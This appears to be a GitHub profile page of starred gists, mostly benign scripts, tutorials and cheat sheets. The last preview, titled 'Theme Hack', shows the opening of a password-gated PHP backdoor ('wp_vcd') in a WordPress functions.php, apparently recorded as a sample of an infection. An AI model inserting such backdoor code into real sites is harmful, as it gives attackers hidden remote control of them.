Skip to content

Instantly share code, notes, and snippets.

View tamimibrahim17's full-sized avatar
🎯
Focusing

Tamim Ibrahim tamimibrahim17

🎯
Focusing
  • Tikweb
  • Bangladesh
View GitHub Profile
@adtac
adtac / Dockerfile
Last active July 24, 2024 14:11
#!/usr/bin/env docker run
#!/usr/bin/env -S bash -c "docker run -p 8080:8080 -it --rm \$(docker build --progress plain -f \$0 . 2>&1 | tee /dev/stderr | grep -oP 'sha256:[0-9a-f]*')"
# syntax = docker/dockerfile:1.4.0
FROM node:20
WORKDIR /root
RUN npm install sqlite3
#!/bin/bash
set -e -o errexit -o pipefail -o nounset
###################################
# This script can be used by itself, but it's recommended that you read
# a tutorial on Proxmox forum first: https://forum.proxmox.com/threads/hey-proxmox-community-lets-talk-about-resources-isolation.124256/
###################################
# Do not modify these variables (set by Proxmox when calling the script)
vmId="$1"
@mortenscheel
mortenscheel / functions.sh
Last active July 24, 2024 20:15
Laravel specific git hooks for post-checkout and post-merge
#!/usr/bin/env bash
NC='\033[0m' # No Color
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
GREEN='\033[0;32m'
RED='\033[0;31m'
MAGENTA='\033[0;35m'
notify_about_actions_required() {
changed_files="$(git diff-tree -r --name-status --no-commit-id $1 $2)"

Domain-Driven Design with Laravel - Table Of Contents

Basic Concepts - 49 pages

  • What is Domain-Driven Design?
  • Working With Data
  • Value Objects
  • Data Transfer Objects
  • Repositories
  • Services
  • Actions
@Makeshift
Makeshift / tutorial.md
Last active July 25, 2024 12:14
Tutorial for automatically syncing an Obsidian vault with Git on an Android device

How to sync Obsidian with Git on Android

Limitations

  • If Termux is closed in the background by Android, the cron service will stop updating your repository and you must open Termux again. Refer to instructions for your device model to disable the killing of certain background applications.
  • This may negatively affect your devices battery life. I'm not entirely sure yet.

Setup

@gullyn
gullyn / flappy.html
Last active May 4, 2024 15:35
Flappy bird in 205 bytes (improved!)
<body onload=z=c.getContext`2d`,setInterval(`c.width=W=150,Y<W&&P<Y&Y<P+E|9<p?z.fillText(S++${Y=`,9,9|z.fillRect(p`}*0,Y-=--M${Y+Y},P+E,9,W),P))):p=M=Y=S=6,p=p-6||(P=S%E,W)`,E=49) onclick=M=9><canvas id=c>
@ivan-marquez
ivan-marquez / polling.js
Last active February 3, 2024 00:13
Long polling implementation in Js
const axios = require('axios').default;
function getAPIClient() {
const axiosConfig = {
baseURL: 'https://csrng.net/csrng/csrng.php',
timeout: 5000,
};
return axios.create(axiosConfig);
}

MySQL Cheat Sheet

Help with SQL commands to interact with a MySQL database

MySQL Locations

  • Mac /usr/local/mysql/bin
  • Windows /Program Files/MySQL/MySQL version/bin
  • Xampp /xampp/mysql/bin

Add mysql to your PATH

@nlubisch
nlubisch / install_php.sh
Last active July 12, 2024 00:41
Install PHP7+ with all extensions
#!/usr/bin/env bash
sudo apt-get update && apt-get upgrade
sudo apt-get install software-properties-common -y
sudo add-apt-repository ppa:ondrej/php -y
sudo apt-get update
sudo apt install -y \
php7.4 \
php7.4-bcmath \
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{